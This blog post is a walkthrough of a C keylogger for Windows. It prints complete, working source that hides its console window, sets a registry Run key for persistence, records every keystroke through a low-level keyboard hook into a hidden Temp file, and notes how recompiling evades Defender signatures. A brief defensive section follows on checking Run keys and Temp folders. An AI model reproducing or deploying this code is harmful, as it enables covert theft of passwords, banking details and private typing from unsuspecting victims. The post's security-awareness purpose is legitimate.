Skip to content

Window’s Defender Can Stop This Simple Keylogger

Most people think they have a reasonable degree of security when it comes to Windows 10. Yet even today, Window’s Defender cannot stop a simple keylogger. A keylogger is a piece of software that allows an adversary to track every keystroke of a victim on their workstation or device. If a keylogger goes undetected an adversary can collect your search history, your banking details, personal information and all your passwords.

I wrote a simple keylogger in C, complied it, and ran it. To my surprise, Windows Defender, the built-in anti-virus and malware solution provided in Windows 10 didn’t give any indication that the software was using the Windows API to secretly pick up key stokes on my computer. No alerts, no big red sirens telling me I’ve been hacked.

It’s that easy? Unfortunately, yes.

So let’s do a walk-through on a program call Full Spectrum and show you how it works.

How a keylogger works

Here is the program’s header file.

#ifndef SPECTRUM_H
#define SPECTRUM_H


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <windows.h>

#include <direct.h>
#define GetCurrentDir _getcwd

void initialize_log();
int set_hook();
LRESULT log_process();
int release_hook();
void ensure_startup();

#endif

In order to make this work we need to use C’s IO and standard library, and time headers. We also need to access the Windows API and file system so for this we also use the Windows and Direct headers.

The main function

Here is the main function.

#include "spectrum.h"

HHOOK hhook = NULL;
int charCount = 0;

int
main(void)
{
	const HWND hwnd = GetConsoleWindow();
	ShowWindow(hwnd, SW_HIDE);

	ensure_startup();
	
	initialize_log();

	if(set_hook() != 0)
		exit(1);
	
	MSG msg;

	while(GetMessageA(&msg, NULL, 0,0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	if(release_hook() != 0)
		return -1;

	return 0;
}

We include our prior header file for our declared methods and necessary headers to accomplish the task. We can break this down piece by piece and explain each method and statement as we go down the line.

const HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);

Here we are retrieving a window used by the console for the calling process. Windows also has an option to hide this window so the user is unaware that a process has been started.

Ensuring Persistence

void
ensure_startup()
{
	HKEY hKey;
	LPCSTR lpsName = "Spectrum";
	const char* czSpectrum = "\\spectrum.exe";	
	char cDir[MAX_PATH];
	
	GetCurrentDir(cDir, sizeof(cDir));	
	strcat_s(cDir, sizeof(cDir), czSpectrum);
	strcat_s(cDir, sizeof(cDir), "\0");

	RegOpenKey(HKEY_CURRENT_USER, TEXT(
		  "Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 
		               &hKey);

	RegSetValueExA(hKey, 
		       lpsName,
		       0, REG_SZ,
		       (const BYTE*)cDir, sizeof(cDir) + 1);

	RegCloseKey(hKey);	
}

The ensure_startup() method is for persistence. Every time the program is run, it will look for its location in the file system and create a Windows Registry entry to start the program at each startup. If the registry is intact with the entry, it just overwrites it. Just to be sure.

Creating our log file

void
initialize_log(void)
{
	FILE *fp;
	char profile[MAX_PATH];
	char* buf = NULL;
	size_t sz = 0;

	_dupenv_s(&buf, &sz, "USERPROFILE");

	char* temp  = "\\AppData\\Local\\Temp\\idx";
	
	strcpy_s(profile, strlen(buf) +1, buf);
	strcat_s(profile, sizeof(profile), temp);
	strcat_s(profile, sizeof(profile), "\0");

	free(buf);
	
	const errno_t err = fopen_s(&fp, profile, "a+");

	if(err != 0 || fp == NULL)
	{
		exit(1);
	}
		
	time_t t = time(NULL);
	struct tm tm;
	localtime_s(&tm, &t);

	fprintf(fp, "\n\n%d-%d-%d %d:%d:%d\n", tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, 
        tm.tm_hour, tm.tm_min, tm.tm_sec);
	fclose(fp);
	
	DWORD attributes = GetFileAttributesA(profile);
	SetFileAttributesA(profile, attributes + FILE_ATTRIBUTE_HIDDEN);
}

In the initialize_log() function, we are creating the log file in the user’s temp folder. A folder that the user always has access to and doesn’t need administrator privileges for. If we used a restricted location it would mean there would eventually be a Window’s User Access Control pop-up that would alert the user of suspicious activity, even if they didn’t know what was happening. It would also give the user a chance to stop the execution. This also displays the day the log has been started to tell the adversary the date and time each log has been appended to the file.

Setting up our keylogger hook

if(set_hook() != 0)
    exit(1);
	
/*        */

int
set_hook()
{
	hhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) log_process, GetModuleHandle(NULL), 0);
	return hhook == NULL;
}

Here is where the real evil starts. We use the Window’s API SetWindowsHookExA function to create a hook procedure and we tell that hook to monitor the user’s keyboard. We also tell it what method to send the data to so we can do something with that information.

LRESULT
log_process(int nCode, WPARAM wparam, LPARAM lparam)
{
	FILE *fp;
	char profile[MAX_PATH];
	char* buf = NULL;
	size_t sz = 0;

	_dupenv_s(&buf, &sz, "USERPROFILE");

	char* temp  = "\\AppData\\Local\\Temp\\idx";
	
	strcpy_s(profile, strlen(buf) +1, buf);
	strcat_s(profile, sizeof(profile), temp);
	strcat_s(profile, sizeof(profile), "\0");

	free(buf);
	
	const errno_t err = fopen_s(&fp,profile, "a+");
	if(err != 0 || fp == NULL)
	{
		exit(1);
	}

	if(nCode < 0)
		CallNextHookEx(hhook, nCode, wparam, lparam);

	KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*) lparam;
	if(wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN)
	{
		if(kb->vkCode >= 0x30 && kb->vkCode <= 0x5A)
		{
			char c = (char) kb->vkCode;
			fprintf(fp, "%c", c);
		}
		else
		{
			switch (kb->vkCode)
            {
                case VK_RETURN:
                    fprintf(fp, "\n");
                    // Reset character counter when user enters new line
                    charCount = 0;
                    break;
                case VK_SPACE:
                    fprintf(fp, " ");
                    break;
                case VK_OEM_PERIOD:
                    fprintf(fp, ".");
                    break;
                case VK_OEM_COMMA:
                    fprintf(fp, ",");
                    break;
                case VK_OEM_7:
                    fprintf(fp, "'");
                    break;
                default:
                    fprintf(fp, "");
                    break;
            };
		}

		charCount++;
		if(charCount > 80)
		{
			fprintf(fp, "\n");
			charCount = 0;
		}
	}
	
	fclose(fp);

	return CallNextHookEx(hhook, nCode, wparam, lparam);	
}

Here is the meat and potatoes of the program. Our hook is setup to pass the event to this method which deciphers the event and what type of keystroke has been passed to it and adds it to the log file.

Infinite loop looking for new events

MSG msg;

while(GetMessageA(&msg, NULL, 0,0))
{
	TranslateMessage(&msg);
	DispatchMessage(&msg);
}

Now that we have our hook and logging procedure setup, all we have to do is call GetMessageA from the Window’s API to receive messages from the message queue. When we get a new message, we translate it from a virtual-key message into a character message and then dispatch it back to the window procedure, thus passing it to our hook setup. We run this in an infinite loop of retrieving keystroke events and passing it to our hook and logging procedure.

if(release_hook() != 0)
        return -1;

return 0;

/*     */

int
release_hook()
{
	int hhookStatus = UnhookWindowsHookEx(hhook);
	hhook = NULL;
	return hhookStatus;
}

Although we never get to this because of the infinite loop of collecting new event messages, this unhooks the Window’s hook with the UnhookWindowsHookEx method and gracefully exits the program.

Incredible! In fewer than 200 lines of code, this piece of software could wreak total havoc on your privacy and security.

So it’s a game over situation, what can I do to spot this?

Well, for starters you shouldn’t rely on Window’s Defender. You would think that since it’s Microsoft and their own Operating System that their anti-virus solution would be on top of this but it isn’t.

Even worse is all you would have to do is modify the code and compile it again to get a different signature once Microsoft spots this attack and puts the attack signature into their Defender’s signature database. Add some code to pass the log file to a remote location over the internet and they have lost the plot again. A new signature for the program and it’s just as deadly as before.

Always use another anti-virus that is trusted. If you are a U.S. Citizen and worried about government spying, I would recommend an anti-virus company that has a vested interest in stopping U.S. spy agency malware such as Kaspersky.

Look for registry entries that look odd at these registry location.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Look for executable files and strange looking extension files in your profile’s temp location.

C:\%userprofile%\AppData\Local\Temp

Use virtual keyboards when putting in passwords or use a password locker so you can copy and paste your passwords in attempt to bypass the keylogger capturing sensitive data.

It is very unsettling that this is how easy it is to steal personal data from someone so you must be diligent in your security posture. Have defense in depth. Never open up suspicious emails, do not go to shady websites loaded with malicious JavaScript, use a virtual private network or TOR if you can, do not download untrusted software, verify your downloads if the company provides a signature to ensure the download is not tampered with, and above all, never leave your computer or device left unattended in a public area.

Comments are closed, but trackbacks and pingbacks are open.